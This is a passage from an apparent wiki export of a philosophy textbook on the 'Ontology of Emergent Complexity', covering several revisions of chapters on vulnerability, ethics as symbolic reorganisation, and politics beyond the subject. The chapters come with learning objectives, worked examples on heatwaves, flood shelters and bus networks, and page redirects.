symbolic conditions that sustain our capacity for response—languages, institutions, infrastructures—are themselves vulnerable. An ethics that starts from vulnerability without a centre is, therefore, necessarily an ethics of the common: a collective practice of reorganising the conditions that allow complexity to persist and flourish. Violence, in this framework, is not merely the annihilation of a being, but the destruction of the material and symbolic infrastructures that sustain the possibility of emergence. Ethics, in turn, is not merely the management of interaction between agents, but the construction and maintenance of a world where difference can continue to differ. == [[/Reading Colloquium/|🜂 Reading Colloquium – Pedagogical Framing]]   == (For students and readers in formation. This section does not replace the text — it accompanies it.) == [[Foundations of the Ontology of Emergent Complexity/References|🜂 References]] == {{BookCat}} 03i5d9fp6937kcaatthk5yw6u2tdwyr 4670770 4670724 2026-09-18T00:41:26Z DavidCota64 3507033 Expand 4.1 from the Portuguese source with pedagogical structure and conceptual corrections 4670770 wikitext text/x-wiki Ethics is often introduced by asking which principle should govern action or which kind of subject can be held responsible. This chapter begins earlier. It asks how material configurations are exposed to effects they do not fully control, how capacities for protection and repair are distributed, and when a symbolically responsive configuration must answer for the way it reorganises those conditions. '''Vulnerability without centre''' does not mean that every being suffers in the same way or has the same ethical status. It means that no configuration occupies a position outside relational dependence, and that ethical inquiry cannot be organised exclusively around a sovereign human subject. == Learning orientation == After reading this chapter, the reader should be able to: * distinguish exposure, vulnerability, operative excess, and fragility; * explain why shared vulnerability does not imply equal vulnerability; * identify material mechanisms that distribute risk and repair; * understand responsibility without requiring an unchanging substantial self; * avoid deriving ethical value from complexity alone. The guiding question is: '''How does ethical significance arise from situated relations of exposure without appealing to a subject or principle outside the material field?''' == From the centred subject to relational exposure == Several influential ethical traditions begin from a privileged locus: rational autonomy, a natural end, conscience, empathy, or the encounter with another person. These traditions are heterogeneous and cannot be reduced to one doctrine. Kantian autonomy, Aristotelian flourishing, Levinasian responsibility, and ethics of care each disclose dimensions that the OEC can learn from. The present displacement concerns their starting point. A subject does not first become complete and then enter relations. Bodies, capacities, identities, and possibilities of response are formed and sustained through relations that precede any particular decision. The ethical subject is therefore not abolished; it is situated. '''Exposure''' names the general condition of being open to effects produced through those relations. A system that exchanges matter, energy, information, care, labour, or authority cannot determine every consequence of those exchanges. Exposure is not a feeling and need not be consciously experienced. '''Vulnerability''' names the possibility of damage, loss, or disorganisation that accompanies exposure, together with the unequal distribution of protection and capacities for response. A configuration can be exposed to beneficial and harmful effects; it becomes vulnerable with respect to the ways those effects can impair its organisation or its ability to respond. Ethics begins neither from invulnerability nor from the demand to eliminate vulnerability. It begins from the fact that responses redistribute conditions of exposure among configurations that do not possess equal resources, recognition, or means of repair. == Four concepts that must remain distinct == {| class="wikitable" ! Operator ! Question it asks ! Do not confuse it with |- | Exposure | To which effects is the configuration open? | A subjective feeling of being exposed |- | Vulnerability | Which harms or losses are possible, and what capacities for response exist? | Moral weakness or inferiority |- | Fragility | How readily does a configuration fail under a specified perturbation? | Vulnerability in every ethical sense |- | Operative excess | What exceeds the present organisation’s capacity to integrate? | Vulnerability itself |} The distinctions matter. A robust institution can expose a fragile population to harm. A vulnerable organism may not be under operative excess. A symbolic system may encounter operative excess without anyone being injured. The operators can interact, but none should silently replace another. == Shared condition, unequal distribution == All materially organised configurations depend on conditions they do not fully control. This shared exposure is ontological. Its distribution is historical, technical, economic, ecological, and political. Two people living through the same heatwave may face radically different risks because housing quality, health, work requirements, transport, access to water, and medical support differ. The atmospheric event is common; the field of exposure is not. The relevant asymmetry is not only who encounters heat, but who can avoid it, recover from it, obtain recognition of harm, and influence the arrangements that distribute risk. Race, class, gender, disability, citizenship, and geography can become materially operative through laws, infrastructures, classifications, labour arrangements, and institutional routines. These categories are not introduced as timeless essences. The analysis asks how they are inscribed and how those inscriptions change exposure, visibility, protection, and repair. Unequal distribution is not automatically unjust simply because positions differ. Different roles and dependencies can be unavoidable or beneficial. Ethical criticism is directed towards '''destructive asymmetries''': arrangements that concentrate avoidable harm, suppress capacities for response, deny recognition, or prevent those affected from contesting and repairing the conditions imposed upon them. This prevents two errors: * abstract universalism, which says “everyone is vulnerable” and ignores concrete differences; * competitive vulnerability, which treats ethical attention as a contest over who is most injured. The task is to map relations and mechanisms, not to rank identities in the abstract. == Vulnerability is not lack == Vulnerability has often been understood as deficiency: an incomplete subject needs protection from what it cannot master. The OEC rejects the conclusion that dependency is a lesser form of being. Dependence is part of the organisation through which capacities exist at all. This does not make vulnerability identical to operative excess. A system is vulnerable because exposure makes damage or disorganisation possible. It is under operative excess when the operations it must perform or undergo exceed what its present organisation can integrate. Operative excess may intensify vulnerability, but the terms answer different questions. Protection also need not oppose reorganisation. Immediate protection can prevent irreversible harm and preserve the capacities required for later change. Reorganisation becomes necessary when the arrangement that repeatedly produces the harm must itself be altered. A responsible practice can require both: # protect configurations from imminent or disproportionate damage; # restore or expand their capacity to respond and repair; # reorganise the couplings that reproduce destructive exposure; # preserve mechanisms for contesting the new arrangement. Treating protection as mere paternalism would be as mistaken as treating protection alone as sufficient. == The subject as a threshold effect == A subject, in this framework, is a materially organised capacity for symbolically mediated self-modulation and response. This capacity emerges at a threshold; it is not an immaterial substance and need not be located in one indivisible centre. Distributed support does not remove agency. Human response depends on bodies, memory, language, tools, other people, and institutions. An organisation may also distribute decisions across procedures and roles. In each case, responsibility requires identifying where symbols are related, where decisions are made operative, and where revision is possible. The continuity needed for responsibility is therefore functional and historical rather than metaphysically absolute. A person or institution changes over time, yet can remain answerable when it can: * trace relevant actions and effects; * recognise itself as participating in the causal configuration; * preserve or reconstruct records; * respond to claims from affected configurations; * alter future operations and support repair. Responsibility should not be dissolved into the field. “The system did it” is inadequate when specific capacities, authorities, and decisions can be identified. Nor should responsibility be reduced to individual intention when infrastructure and institutional design systematically shape the outcome. == From vulnerability to ethical demand == Ontology alone does not issue commands. The fact that a configuration is vulnerable does not deductively prove how another configuration ought to act. The ethical demand becomes materially posed where symbolically responsive systems are already altering exposure and can recognise that their operations affect the capacities of others. The OEC evaluates a proposed response through four connected conditions: # '''response''': does it maintain or expand the affected configurations’ capacities to answer and participate? # '''asymmetry''': does it reduce destructive concentrations of exposure rather than displacing them onto less protected positions? # '''repair and contestation''': can errors, injuries, and exclusions be challenged and repaired? # '''heterogeneity''': can different configurations continue to operate without forced assimilation? These conditions refine the phrase “preserve or amplify relational complexity”. Complexity does not mean more components, procedures, or connections. A highly intricate apparatus can be oppressive. Relational complexity means sustaining heterogeneous capacities in responsive, revisable relations. Vulnerability also does not automatically confer identical moral standing on every material system. A damaged database, injured animal, polluted wetland, and harmed person raise different questions. Their capacities, dependencies, and relations must be analysed rather than flattened into one category. Ethical attention can extend beyond humans without erasing ethically relevant differences. == Worked example: an urban heatwave == Consider a city responding to a prolonged heatwave. # '''Exposure.''' Temperature, humidity, building materials, work locations, and transport shape who encounters dangerous heat. # '''Vulnerability.''' Age, health, housing, income, isolation, and access to cooling affect possible harm and recovery. # '''Institutional coupling.''' Electricity, healthcare, public information, labour rules, and emergency services determine available responses. # '''Symbolic visibility.''' Categories and data practices influence which deaths or illnesses are recorded and which areas receive attention. # '''Decision.''' Opening cooling centres, changing work hours, subsidising electricity, or altering housing standards redistributes protection and cost. # '''Revision.''' Feedback from affected residents and evidence of exclusion must be able to change the plan. The case shows why vulnerability is neither an inner state nor an abstract universal. It is a situated distribution that can be mapped and reorganised. == Check your understanding == * Why is exposure more general than vulnerability? * Can a configuration be robust and still contribute to another’s vulnerability? * Why are vulnerability and operative excess not synonyms? * What kind of continuity is required for responsibility? * How do the four conditions prevent “more complexity” from justifying domination? == Transition == [[Foundations of the Ontology of Emergent Complexity/4.2 Ethics as Symbolic Reorganization|Section 4.2]] develops the next step: how hesitation, decision, and symbolic reorganisation can alter a field of exposure without pretending to act from outside it. A separate [[/Reading Colloquium/|Reading Colloquium]] accompanies this chapter. Bibliographic pathways are available in [[Foundations of the Ontology of Emergent Complexity/References|References]]. {{BookCat}} 4m652iz74bovlk0ni940o66s9o5242c 0 479762 4670769 4670215 2026-09-18T00:41:15Z DavidCota64 3507033 Expand 4.2 from the Portuguese source with pedagogical structure and conceptual corrections 4670769 wikitext text/x-wiki Ethics is not added to the material field from outside. Symbolically responsive configurations already classify situations, select relevant differences, apply rules, and alter the conditions under which other configurations can act. Those operations redistribute exposure whether or not they are described as moral. The OEC uses '''ethics''' for the disciplined reorganisation of these relations in response to concrete vulnerability. This does not make every reorganisation ethically defensible. It makes every consequential symbolic reorganisation ethically assessable. == Learning orientation == After reading this chapter, the reader should be able to: * distinguish morals, norms, and ethics without ranking them as higher and lower domains; * explain what a field of contact is; * describe hesitation, decision, and symbolic reorganisation as a connected process; * apply the four conditions of relational complexity; * understand why the absence of absolute guarantee is not relativism. The guiding question is: '''How can a situated decision be ethically evaluated when no rule captures every relevant relation and no position stands outside the field?''' == The ontological location of ethics == A familiar picture separates facts from values: the world supplies what is, while a rational subject or moral order supplies what ought to be. The philosophical history of this distinction is complex, and the OEC does not erase the logical difference between description and prescription. It rejects a stronger separation: the idea that ethical evaluation belongs to an immaterial sphere detached from material relations. A law, diagnosis, database category, timetable, or professional protocol is a symbolic configuration with material supports and effects. It can change access, delay, visibility, movement, treatment, and risk. Ethical questions arise because symbolically responsive systems are already participating in these reorganisations. This is the '''ontological location''' of ethics. Ethics operates within the same field as the conditions it evaluates. It has no view from nowhere, but it can compare arrangements, register harms, revise categories, and make reasons public. The distinction is crucial: * a reorganisation has an ethical dimension because it redistributes exposure; * it becomes an ethical practice when that redistribution is examined and revised in response to affected vulnerability; * it is ethically consistent only if it meets substantive conditions concerning response, asymmetry, repair, contestation, and heterogeneity. Material reality alone does not sanctify an outcome. Violence is material too. == Morals, norms, and ethics == The terms often overlap in ordinary language. Here they perform different analytical functions. '''Morals''' are inherited and learned patterns of evaluation: shared expectations, habits, prohibitions, virtues, and judgements. They are materially sustained through education, language, ritual, sanction, and example. Morals can orient care and cooperation, but they can also reproduce exclusions that have become habitual. '''Norms''' are relatively stabilised standards of conduct, classification, or performance. Some are explicit and codified, such as laws and technical protocols; others remain implicit in institutional routines. Norms make coordination and adjudication possible. Their generality can also obscure singular circumstances. '''Ethics''' is the practice of interrogating and reorganising the relations through which morals and norms distribute exposure. It becomes necessary when automatic conformity would reproduce damage, exclusion, or invisibility, or when a new situation exceeds the available rule. {| class="wikitable" ! Mode ! Primary function ! Characteristic risk |- | Morals | Sustain inherited evaluations and forms of life | Repetition can naturalise harmful arrangements |- | Norms | Stabilise expectations, decisions, and coordination | General rules can become blind to concrete differences |- | Ethics | Reorganise relations in response to vulnerability | Intervention can create unforeseen harms or conceal its own power |} Ethics does not abolish morals or norms. A reliable safety rule can protect vulnerable people; a moral commitment can sustain solidarity. Ethical inquiry asks whether their present operation remains answerable to the configurations they affect. == The field of contact == The '''field of contact''' is the situated arrangement through which configurations encounter and affect one another. It includes spatial design, infrastructures, interfaces, institutional roles, economic conditions, classifications, communication channels, and access to decision-making. To reorganise the field of contact is to alter one or more of these relations. The change may be modest: translating a medical instruction, changing an appeal deadline, adding a human review to an automated decision. It may be structural: redesigning a transport network, changing property rules, or redistributing public resources. The concept prevents ethical analysis from stopping at intention. A benevolent intention can operate through an arrangement that remains inaccessible or damaging. Conversely, a routine technical adjustment can have major ethical consequences even when no individual intended them. The field is not the totality of society. It is delimited relative to a case. The analyst must state who and what is included, which scale and interval are relevant, and which effects remain outside the current description. == Hesitation, decision, and reorganisation == Ethical response proceeds through three linked operators. '''Hesitation''' suspends an automatic response when the existing framework is insufficient. It creates time to register excluded relations, consult affected configurations, examine uncertainty, and consider alternatives. Hesitation is not indecision for its own sake. When delay intensifies harm, continued hesitation becomes another decision with material effects. '''Decision''' selects and inscribes a course of action under incomplete conditions. It is not a sovereign act detached from the field. It depends on available symbols, authorities, resources, and procedures. The decision remains attributable because a capacity to respond is exercised, even though that capacity is distributed. '''Symbolic reorganisation''' changes relations between symbols and can guide changes in material arrangements. A revised category may alter a form, database, budget, route, or legal entitlement. Marks remain passive; systems relate symbols and make the resulting decisions operative. The process can be represented as: '''encountered vulnerability → hesitation → expanded inscription of the case → decision → material reorganisation → monitoring and revision''' The arrows indicate a practical sequence, not a guarantee of ethical success. A decision may reproduce the very exclusion that hesitation was meant to reveal. == Four conditions for ethical consistency == “Preserve or amplify relational complexity” is too vague unless it can be tested. A proposed reorganisation should be assessed through four conditions. # '''Capacity for response.''' Do affected configurations retain or gain meaningful ways to answer, participate, refuse, or adapt? # '''Destructive asymmetry.''' Does the change reduce concentrated and avoidable exposure, or merely move risk onto those with fewer protections? # '''Contestation and repair.''' Can errors and injuries be identified, challenged, and repaired through accessible procedures? # '''Heterogeneity.''' Does the arrangement sustain relevant differences, or force every configuration into one imposed pattern? No single condition is sufficient. Participation without repair can become consultation theatre. Risk reduction achieved through forced homogenisation can destroy capacities the policy was meant to protect. Revisability without resources is only formal. These conditions are immanent because they concern what configurations can do within the field. They are still normative: they provide reasons to reject some arrangements and prefer others. == No guarantee, but not relativism == The OEC offers no procedure that guarantees a correct result before action. Operative excess means that consequences, relations, and affected positions can exceed the current symbolic framework. Ethical action therefore involves risk. Absence of guarantee is not absence of criteria. Arrangements can be compared through evidence about exposure, participation, damage, repair, and revisability. Some decisions silence affected positions, conceal costs, and prevent correction. Others disclose assumptions, distribute protection, and preserve response. Situated judgement is fallible without being arbitrary. The passage from ontology to ethics is not a logical deduction of an “ought” from an “is”. Ontology establishes that symbolically responsive systems already reorganise exposure and cannot avoid producing effects. Ethics articulates how that unavoidable responsiveness should be exercised if the capacities that make response possible are not to be destroyed. This is an '''operative implication''', not a proof of a moral law. The ontology supplies the situation and the measure; argument, evidence, and contestation remain necessary. Nor is the position simple consequentialism. Outcomes matter, but ethical assessment also concerns how a decision was produced, which voices were excluded, whether appeal is possible, and which future capacities are preserved. Aggregate benefit cannot automatically justify irreversible harm imposed on positions denied a response. == Worked example: emergency shelter allocation == After severe flooding, a municipality has fewer accessible shelter places than requests. # An existing rule allocates places in order of online registration. # The rule is clear and administratively efficient, but assumes reliable internet access, literacy, transport, and the ability to apply quickly. # Reports from affected residents reveal that the rule concentrates exclusion among people already facing greater exposure. # Ethical hesitation suspends automatic allocation long enough to inspect the field of contact. # The municipality adds telephone and in-person registration, accessibility criteria, transport support, a review process, and public reporting. # The revised arrangement is monitored for new exclusions and remains open to appeal. No solution removes scarcity or vulnerability. The ethical reorganisation changes how exposure is distributed, preserves more capacities for response, and makes correction possible. It can still fail and must remain revisable. == Common mistakes == * '''Moralisation''': treating ethics as praise or blame detached from material arrangements. * '''Rule rejection''': assuming that because no rule is complete, rules are useless. * '''Complexity worship''': equating more procedure or connection with ethical improvement. * '''Decisionism''': treating the absence of guarantee as permission for unchecked authority. * '''Endless hesitation''': postponing action while harm continues. * '''Symbolic idealism''': changing language without changing the material relations through which the category operates. == Check your understanding == * When does a norm require ethical re-examination? * Why is every reorganisation assessable but not automatically ethical? * How does hesitation differ from indecision? * Which of the four conditions is missing if an appeal exists only on paper? * Why does an operative implication not amount to deriving a command directly from a fact? == Transition == Ethical decisions become political when their terms are contested, coordinated, and stabilised across institutions and populations. [[Foundations of the Ontology of Emergent Complexity/4.3 Politics Beyond the Subject|Section 4.3]] examines politics as the collective reorganisation of fields of exposure, without treating “the people”, the state, or any other subject as a self-grounding origin. {{BookCat}} 61x53pxetyi904lb6jq8yx987ov8l5x 0 479763 4670768 4670217 2026-09-18T00:40:56Z DavidCota64 3507033 Expand 4.3 from the Portuguese source with pedagogical structure and conceptual corrections 4670768 wikitext text/x-wiki Politics does not begin with a fully formed subject standing outside social relations. Citizens, workers, organisations, movements, states, and publics acquire capacities through institutions, infrastructures, symbols, histories, and conflicts. Yet politics is not a process without agents. Formed within the field, agents can recognise, contest, and reorganise the relations that formed them. The OEC therefore shifts the starting point from a sovereign subject to a '''field configuration''': the material and symbolic arrangement through which collective capacities, exposures, and positions become possible. == Learning orientation == After reading this chapter, the reader should be able to: * explain politics as collective contestation and reorganisation of a field; * distinguish institutional sovereignty from metaphysical self-grounding; * analyse identities as operative without treating them as timeless foundations; * understand institutions as provisional stabilisations that still require durability; * balance conflict, opacity, accountability, and revisability. The guiding question is: '''How can collective action be organised and held responsible when no political subject stands above the field it seeks to change?''' == Politics as field configuration == Political analysis often begins with constituted agents: individuals with interests, a people with a will, classes with positions, or a state with authority. These starting points can be useful, but they leave a prior question unanswered: through which arrangements did these agents become visible, organised, represented, and capable of acting? A field configuration includes electoral rules, borders, property relations, workplaces, transport, media, databases, public spaces, technical standards, and informal practices. These arrangements do not mechanically determine political subjects. They distribute capacities: who can assemble, speak, travel, vote, strike, own, appeal, or be heard. Politics names the collective struggle over these arrangements and over the symbols through which they are rendered intelligible. It includes coordination and institution-building, but also refusal, dissensus, and the appearance of claims that the established order could not register. Rancière’s distinction between an ordered distribution of roles and political dissensus illuminates this point. The OEC adds that dissensus requires material supports and can change the field that produces political positions. A disruption may enable a new subject-position, while already organised agents can also initiate and sustain disruption. Field and agency are reciprocally reorganised; neither should be erased. == Sovereignty without a metaphysical sovereign == Sovereignty has legal and institutional meanings that cannot simply be denied. States exercise jurisdiction; constitutions allocate authority; courts and governments make decisions with binding effects. The OEC’s refusal concerns '''metaphysical sovereignty''': the claim that one authority is self-grounding, unified, and external to the relations it governs. “The people”, “the nation”, “the state”, and “the constitution” are real political configurations. They are sustained through censuses, documents, education, infrastructures, ceremonies, enforcement, and participation. None exists as a pure origin before those operations. Founding acts select and organise earlier relations, while later practices continually reproduce or revise their meaning. This does not make authority unreal. It makes authority accountable to its material production and effects. A constitution can legitimately stabilise procedures without becoming sacred or immune to amendment. A public decision can be binding without pretending to express one perfectly transparent collective will. The practical questions become: * Which institutions authorise this decision? * How were affected positions represented or excluded? * What resources make the decision enforceable? * Which mechanisms permit challenge, revision, and repair? * Who bears the risk if the decision fails? These questions relocate sovereignty from an ultimate source to traceable relations of authority. == Identity as operation, resource, and risk == Political identities are neither illusions nor timeless essences. A category such as citizen, worker, disabled person, indigenous people, or refugee can organise recognition, solidarity, rights, and collective action. It can also simplify internal differences, impose boundaries, or exclude those who do not fit its dominant representation. The OEC analyses identity as an '''operative stabilisation'''. It asks how the category is inscribed, which institutions use it, what capacities it creates, which differences it suppresses, and whether its boundaries can be contested. This avoids two symmetrical errors: * '''essentialism''': treating identity as a natural and unchanging foundation; * '''dismissal''': assuming that because identity is produced, identity-based claims are unreal or politically dispensable. A historically produced identity can become necessary for opposing a historically produced harm. The relevant test is not whether the identity is pure, but how it reorganises exposure and whether it preserves the affected group’s capacity to redefine its own terms. Mouffe’s account of agonistic politics rightly resists the fantasy that every conflict can be dissolved in rational consensus. The OEC extends the analysis to the material arrangements that produce the available identities and positions in the conflict. == Institutions as provisional stabilisations == Institutions are maintained configurations of rules, roles, buildings, technologies, records, budgets, habits, and expectations. They are more than ideas and less than eternal structures. Their relative durability makes large-scale coordination possible. Calling institutions provisional does not mean that they should change constantly. Predictability can protect vulnerable configurations; rights and procedures lose force if they can be withdrawn at every moment. Provisionality means that institutional authority remains conditional, historically situated, and open to justified revision. An institution should be assessed by more than its formal purpose. Ask whether its operation: # maintains affected configurations’ capacities for response and participation; # reduces rather than concentrates destructive asymmetries of exposure; # provides accessible routes for contestation, repair, and revision; # preserves relevant heterogeneity instead of enforcing one pattern; # remains sufficiently stable to make its protections reliable. The fifth condition complements revisability. An institution that changes arbitrarily can be as damaging as one that never changes. Law illustrates the point. A legal system names injuries, recognises claims, and organises redress. It also defines which harms are legible and which persons count as claimants. Law is neither a neutral observer nor merely an instrument of domination. It is a field configuration whose categories and procedures have to be tested against their material effects. == Conflict and disagreement == Conflict is structural because positions within a heterogeneous field are differently exposed and cannot always be reconciled. Eliminating all disagreement would require either complete homogeneity or the suppression of claims that do not fit the authorised order. This does not make every conflict valuable. Conflict can expose exclusions, but it can also destroy capacities, circulate falsehood, or intensify domination. A democratic field must organise conflict so that adversaries can contest arrangements without being deprived of the material conditions of participation. A local agreement is therefore not a failure. It is a provisional stabilisation that enables coordinated action while leaving routes for revision. Consensus becomes dangerous when it presents itself as final, erases the costs imposed on dissenting positions, or treats unresolved difference as irrational noise. The political question is not “conflict or consensus?” It is “under which conditions can disagreement alter the field without annihilating the capacity to continue disagreeing?” == Opacity and accountability == Glissant’s defence of a right to opacity challenges the demand that others become completely transparent before they can be recognised. The OEC accepts the underlying limit: no position can fully capture another configuration or the field as a whole. Political coexistence should not require cultural assimilation, exhaustive disclosure, or total legibility. Opacity, however, is not an unconditional good. Institutions can use secrecy and technical complexity to shield decisions from scrutiny. Powerful actors may demand privacy for themselves while making vulnerable populations transparent through surveillance. A defensible distinction is required: * '''protective opacity''' preserves autonomy, difference, and safety against forced exposure; * '''dominating opacity''' conceals authority, cost, or harm from those who must bear its effects; * '''accountability''' requires sufficient traceability of decisions, criteria, and consequences without demanding complete transparency of persons. The task is to determine who is required to disclose what, to whom, for which purpose, and with which risks. == Ethics and politics == Ethics and politics both concern reorganisation of exposure, but the distinction is not merely numerical scale. Ethical analysis focuses on the responsiveness of a decision to situated vulnerability. Political analysis focuses on the collective contestation, authorisation, stabilisation, and revision of arrangements across heterogeneous positions. A personal decision can have political conditions; an institutional policy can require ethical hesitation. The two dimensions overlap without becoming identical. Politics is therefore not the application of a completed ethics. It is the organised struggle over which vulnerabilities become legible, which responses are authorised, and which institutions will sustain them. == Worked example: redesigning a bus network == A city proposes to redesign its bus network using passenger counts and travel-time models. # The model makes some relations visible: demand, cost, frequency, and journey duration. # Low-ridership routes appear inefficient, but may serve shift workers, disabled passengers, peripheral communities, or people without alternatives. # Public hearings held only online or during working hours exclude some affected positions. # A political reorganisation adds accessible consultation, qualitative evidence, minimum-service protections, and an appeal process. # The final network remains a compromise. Its justification depends on disclosed criteria, traceable trade-offs, and monitoring of unequal effects. # Future revision is possible, while stable timetables preserve the reliability on which passengers depend. The example does not determine one correct transport policy. It shows how subjects, data, infrastructure, identity, conflict, stability, and revisability meet in a field configuration. == Common mistakes == * '''Agentless politics''': speaking of the field as if no one exercises power or makes decisions. * '''Sovereignty denial''': ignoring real legal authority because it is not metaphysically self-grounding. * '''Identity erasure''': treating constructed identities as politically irrelevant. * '''Revisability fetish''': assuming that change is good regardless of lost protections. * '''Conflict romanticism''': treating every disruption as emancipatory. * '''Total transparency''': making recognition conditional upon exhaustive legibility. == Check your understanding == * How can agents be produced by a field and still reorganise it? * What is the difference between institutional and metaphysical sovereignty? * When can a produced identity support an emancipatory claim? * Why must institutional revisability be balanced with dependable protection? * How does accountability differ from total transparency? == Transition == Part IV has moved from vulnerability through ethical decision to political stabilisation and contestation. Part V tests this architecture against inherited ontological strategies. [[Foundations of the Ontology of Emergent Complexity/5.1 Displacement of Classical Ontologies|Section 5.1]] begins with classical substance, form, necessity, and ground. For the ethical criteria used here, return to [[Foundations of the Ontology of Emergent Complexity/4.2 Ethics as Symbolic Reorganization|Section 4.2]]. {{BookCat}} 0to7ooow7r5v78lk9q2clej9h83rqxs 0 479801 4670819 4670205 2026-09-18T01:56:18Z DavidCota64 3507033 Consolidate the pedagogical material in the parent page; preserve this page as a redirect 4670819 wikitext text/x-wiki #REDIRECT [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Refusal of Metaphysical Dualism#Reading Colloquium]] {{BookCat}} 3dtmtk6ms7y6y53hffhk50y6kkfj7pb 0 479804 4670751 4670209 2026-09-17T23:41:49Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670751 wikitext text/x-wiki == '''3.3.7 – Ontological and Ethical Consequences''' == '''Reading Colloquium – Pedagogical Framework''' ''(For students and readers in training. This section does not replace the text—it accompanies it.)'' == Placement of the text within the work's architecture == This text extends the refusal of dualism expounded in the previous text but shifts the focus: it moves from the critique of conceptual separation to the analysis of the historical gesture that instituted the fiction of "two worlds". It shows that the ideal/sensible split does not describe the real; it founds a symbolic authority that expelled instability and hierarchised meaning. Within the adopted framework, this expulsion is not an episodic error: it is an ontopolitical operation that configured the criteria of the intelligible. The materialist-emergent perspective refuses this foundational operation and re-establishes the self-sufficiency of the real in transformation, without appeal to a transcendental "exterior". == Philosophical problem at stake == What symbolic and political function does the division between an ideal plane and a sensible plane serve? The text argues that we are not faced with a discovery, but with a normative invention: a fiction that regulates what counts as intelligible by excluding time, bodies, error, and transformation. The split is, therefore, a device of symbolic stabilisation: it converts matter into copy, noise, or fall, reserving for the ideal instance the guardianship of truth and meaning (Plato; Kant 1781/1998; Hegel 1807/1977). The consequence is twofold: epistemological (knowledge is abstracted from material operation) and ethical (the vulnerability of the biosoma is subordinated to values extracted from an extramundane "height"). == Central thesis and conceptual reorganisation == The Ontology of Emergent Complexity refuses the architecture of two worlds and does not replace it with a rival hierarchy: it refuses the very gesture that instituted the asymmetry. Emergence designates threshold operations of material reorganisation under operative excess, not the ascent of a "superior" from an "inferior". This results in the reconfiguration of classical terms: origin ceases to be an archetypal point and becomes a function of couplings that create conditions; truth ceases to mirror essences and becomes a value of operative inscription; meaning does not come from an "outside", it is composed locally; relation does not link prior substances, it creates entities by linking. Thought does not ascend—it modulates; difference does not come from outside—it irrupts internally; the real does not need another plane to justify itself—it is self-sufficient in its variation. Even critiques of phenomenological or post-structuralist matrix, such as in Heidegger (1927), Levinas (1961), and Derrida (1967), sometimes preserve a transcendent remainder (Being that exceeds beings; alterity that precedes relation; trace that escapes presence). Against this remainder, radical immanence is affirmed: all efficacy is material and every symbol is a material structure that represents relations between material structures and operates upon marks. == Key concepts and articulation (in dialogue with the operative lexicon) == * '''Invention of two worlds''': metaphysical operation that divides being into ideal and material, instituting a symbolic hierarchy that debases the sensible to copy/noise (Plato; Kant 1781/1998; Hegel 1807/1977). * '''Ontological fiction''': construction that regulates thinking by excluding the unstable; it does not describe, it norms. * '''Emergence''': threshold operation in matter; effect of operative excess that forces compatible reorganisations, not manifestation of a "superior" level. * '''Rejection of transcendence''': refusal of any plane of being exterior/prior to the real in variation; the real is self-sufficient. * '''Articulation with the lexicon''': '''trace''' (ephemeral material difference) becomes a mark through inscription (technical gesture); symbol operates upon marks and other symbols to reorganise. The fiction of two worlds saturated the symbol with transcendence; here, the symbol remains strictly material-operative. * '''Critique of transcendent remnants''': in Heidegger (1927), a "Being" that surpasses the entity; in Levinas (1961), an alterity that precedes and normativises relation; in Derrida (1967), a trace whose flight from presence can be reappropriated as a new exterior. The adopted framework conserves the best of these critical gestures (anti-essentialism, de-centring, primacy of difference) but deactivates the appeal to any non-material "outside". == Implications for reading and pedagogical paths == This text exposes a recurring blind spot: the supposition that meaning requires an "elsewhere". By demonstrating that this demand for exteriority is a historical and normative construction, it invites us to think the real as self-sufficient and to reconduct truth and meaning to situated operative inscriptions. ''Proposals for classroom work/study:'' * '''Historical cartography''': map the "two worlds" line from '''Plato''' to '''Kant (1781/1998)''' and '''Hegel (1807/1977)''', highlighting the regulatory function of the hierarchy. * '''Persistent hierarchies''': analyse how remnants of transcendence subsist in philosophies of difference or alterity (Heidegger 1927; Levinas 1961; Derrida 1967), indicating the precise point where the "remainder" emerges. * '''Diagnosis of the present''': identify the "two worlds" operation in contemporary discourses (diffuse spiritualisms, '''techno-gnosis''', idealised aesthetics) and explicate their normative effects. * '''Exercise in radical immanence''': outline what it implies to think '''without an outside''': declare conditions of validity, losses, and costs of each inscription; test how '''functional couplings''' generate consistencies '''without''' resorting to transcendent foundations. * '''Techno-epistemic case study''': compare practices of measurement/inscription (in light of Hacking 1983; Barad 2007) to show how meaning is produced '''in''' operation, and not by reference to an ideal plane. {{BookCat}} abn9t4yd5tg0l1d1f07bt3k2ibb14gg 4670782 4670751 2026-09-18T01:12:42Z DavidCota64 3507033 Replace mismatched §1.2 material with the correct pedagogical framework for §3.3.7 4670782 wikitext text/x-wiki == '''3.3.7 – Ontological and Ethical Consequences''' == '''Reading Colloquium – Pedagogical Framework''' ''(For students and readers in training. This section does not replace the text—it accompanies it.)'' == 1. Placement of the Text within the Architecture of the Work == This final subsection of Part III is the hinge leading into Part IV. The analysis of local order now turns towards the material effects of ordering: every institution, norm, and symbolic regime protects some relations, exposes others, and distributes the capacity to respond unevenly. == 2. Philosophical Problem at Stake == No ethical rule follows automatically from a description of the real. The ontological analysis instead removes one familiar justification: a contingent order can no longer present its exclusions as natural necessity. Contingency removes that alibi. Once those effects are visible, they require public justification, possibilities of redress, and revision. == 3. Core Thesis and Conceptual Reorganization == Every local order distributes vulnerability and response-capacity. Contingency does not make all orders equivalent: they can be assessed through their material effects, the burdens they impose, their responsiveness to alterity, and their capacity for correction. Ethics begins where an order must answer for the differences it sustains or suppresses. == 4. Key Concepts and Their Articulation == Situated response replaces obedience to an invariant ideal. Shared vulnerability identifies exposure without reducing different beings to the same condition. Revisability and redress prevent provisional arrangements from hardening into dogma. Distributed agency does not dissolve responsibility; it specifies where responsibility can be exercised. == 5. Implications for Readers and Pedagogical Pathways == Read the transition to Part IV through three tests. Instability is not a good to be celebrated; the question is how a response protects vulnerable relations without absolutising its own form. Contingency is not relativism; material consequences still distinguish better from worse arrangements. Revisability is not disposability; sustaining a just order may require continuous work precisely because no foundation guarantees it. {{BookCat}} 89h9a7dkp5b0feceyp3a7u3gzd9ujdv 4670820 4670782 2026-09-18T01:56:21Z DavidCota64 3507033 Consolidate the pedagogical material in the parent page; preserve this page as a redirect 4670820 wikitext text/x-wiki #REDIRECT [[Foundations of the Ontology of Emergent Complexity/Order as Local Effect/VII - Ontological and Ethical Consequences#Reading Colloquium]] {{BookCat}} gwz2ao81umdgiiwr93lr7sr5ms2bdwy 0 479813 4670725 4670213 2026-09-17T23:39:32Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670725 wikitext text/x-wiki [[Foundations of the Ontology of Emergent Complexity|Ontology of Emergent Complexity]] == 1. Placement of the Text 